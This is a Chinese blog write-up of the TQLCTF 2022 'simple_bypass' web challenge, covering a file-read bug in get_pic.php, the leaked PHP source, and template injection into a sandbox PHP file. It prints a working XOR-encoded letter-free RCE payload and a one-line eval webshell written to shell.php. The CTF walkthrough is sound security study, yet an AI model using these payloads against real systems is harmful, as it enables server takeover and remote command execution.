nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[TQLCTF 2022]simple_bypass

思考

一般url头中无中生有的参数都是我们可能利用的点,源码中我们首先需要找到危险函数,让我们有读写的权限的一般都很危险,还需要找到我们能够控制的参数,然后再看我们控制参数最后的位置,然后闭合思想也是非常重要的

进入题目就是登录和注册页面,怀疑是sql漏洞,但是这种我们一般是先注册登录进去看看,登录进去后发现2024-01-14T06:52:31.png
然后我们随便点一点,这种就是要找特别的东西,毫无疑问最特别的就是
2024-01-14T06:53:36.png
然后我们这时候我们就要好好分析这个,图片?我们打开看看,发现是一堆base64编码,我们去解码发现就是一个文件路径,稍微敏感一点就怀疑是不是有任意文件读取漏洞,我们仔细分析,f12发现这个文件的url头是http://node4.anna.nssctf.cn:28530/get_pic.php?image=img/haokangde.png,那其实很明显了,可以读文件,我们读查看get_pic.php

http://1.14.71.254:28358/get_pic.php?image=get_pic.php
进行base64解码

<?php error_reporting(0);
 $image = (string)$_GET['image']; 
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>'; 
?>

读取index.php(下面是把前端代码删除之后的结果)
http://1.14.71.254:28358/get_pic.php?image=index.php

<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
    $hash_user = md5($_POST['user']);
    $hash_pass = 'zsf'.md5($_POST['pass']);
    if(isset($_POST['punctuation'])){
        //filter
        if (strlen($_POST['user']) > 6){
            echo("<script>alert('Username is too long!');</script>");
        }
        elseif(strlen($_POST['website']) > 25){
            echo("<script>alert('Website is too long!');</script>");
        }
        elseif(strlen($_POST['punctuation']) > 1000){
            echo("<script>alert('Punctuation is too long!');</script>");
        }
        else{
            if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
                if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
                    $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
                    $template = file_get_contents('./template.html');
                    $content = str_replace("__USER__", $_POST['user'], $template);
                    $content = str_replace("__PASS__", $hash_pass, $content);
                    $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
                    file_put_contents('sandbox/'.$hash_user.'.php', $content);
                    echo("<script>alert('Successed!');</script>");
                }
                else{
                    echo("<script>alert('Invalid chars in website!');</script>");
                }
            }
            else{
                echo("<script>alert('Invalid chars in username!');</script>");
            }
        }
    }
    else{
        setcookie("user", $_POST['user'], time()+3600);
        setcookie("pass", $hash_pass, time()+3600);
        Header("Location:sandbox/$hash_user.php");
    }
}
?>

然后是template.html内容

  <?php
    error_reporting(0);
    $user = ((string)__USER__);
    $pass = ((string)__PASS__);
            
    if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
            echo($_COOKIE['user']);
    }
    else{
        die("<script>alert('Permission denied!');</script>");
    }
    ?>
    </li>
      </ul>
      <ul class="item">
        <li><span class="sitting_btn"></span>系统设置</li>
        <li><span class="help_btn"></span>使用指南 <b></b></li>
        <li><span class="about_btn"></span>关于我们</li>
        <li><span class="logout_btn"></span>退出系统</li>
      </ul>
    </div>
  </div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
  <li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text">图片
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
    <div class="text">游戏
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
    <div class="text"><b>好康的</b>
      <div class="right_cron"></div>
    </div>
  </li>
  <li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
    <div class="text"><b>你的网站</b>

开始分析,很明显的点就是利用file_put_contents函数写shell,文件名知道,主要是文件内容,所以得分析$contents,content内容取决于

$content = str_replace("__USER__", $_POST['user'], $template);
                    $content = str_replace("__PASS__", $hash_pass, $content);
                    $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content = str_replace("__PUNC__", $_POST['punctuation'], $content);

很容易可以排除user参数,有长度限制,六个字符,不好写,
website,长度限制25,这里是可以写shell的,过滤了一些符号
punctuation可以说没有长度限制,但是过滤了大小写字母
我们思路已经出来了,通过punctuation写shell,无字母rce
我们写入的无字母rce必须当成php代码执行,但是我们通过template.html发现只有user和pass才是在php代码部分,而<a href="#" class="powered_by">__PUNC__</a>在html部分,不会以php代码执行,所以就无效,我们自己加呗,但是又过滤了<?,自己不能加,只能使用别人的了,观察页面,因为我们的优势是很多参数是可控的,我们想到注释符,把后面?>注释掉,让后面的内容都为php代码,具体大概是

   <?php

    $user = ((string)/*);
    $pass = ((string)__PASS__);
            
    if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
            echo($_COOKIE['user']);
    }
    else{
        die("<script>alert('Permission denied!');</script>");
    }
    ?>
    </li>
      </ul>
      <ul class="item">
        <li><span class="sitting_btn"></span>系统设置</li>
        <li><span class="help_btn"></span>使用指南 <b></b></li>
        <li><span class="about_btn"></span>关于我们</li>
        <li><span class="logout_btn"></span>退出系统</li>
      </ul>
    </div>
  </div>
</div>
<a href="#" class="powered_by">*/*</a>
<ul id="deskIcon">
......

可以看到,我们直接把里面的?>给注释了,那么下面所有的html代码都将包裹在php环境中被解释。但是由于上面可以看见$user=((string)的转换函数还在,所以需要先添加内容后再闭合,否则页面将报错,包括后面的html代码通通需要注释,最后大概变成下面这种形式,我们的pass最好不要输入内容,可能影响shell
shell构造的方法很多,借鉴p神的一个2024-01-14T07:35:02.png
所以我们最终传入POST
user=1)/&pass=aa&website=&punctuation=/;$_=('%01'^'').('%13'^'').('%13'^'').('%05'^'').('%12'^'').('%14'^'');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);/*
2024-01-14T07:40:29.png
然后我们登录进去再抓包
然后输入命令找flag,打死自己的都不行,别人的都ok
看别人的解释是抓包可以查看到内容,但是在网页上被报错挡住了
由于不好看,且没有禁file_put_contents()
所以可以再写一个马
POST: _=file_put_contents('shell.php','<?php eval($_POST[1]);?>');
然后蚁剑连接这个文件,得到flag

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [TQLCTF 2022]simple_bypass

评论 1

  1. 哇!道格大佬带带我。。

    Aiwin 2024-01-15    回复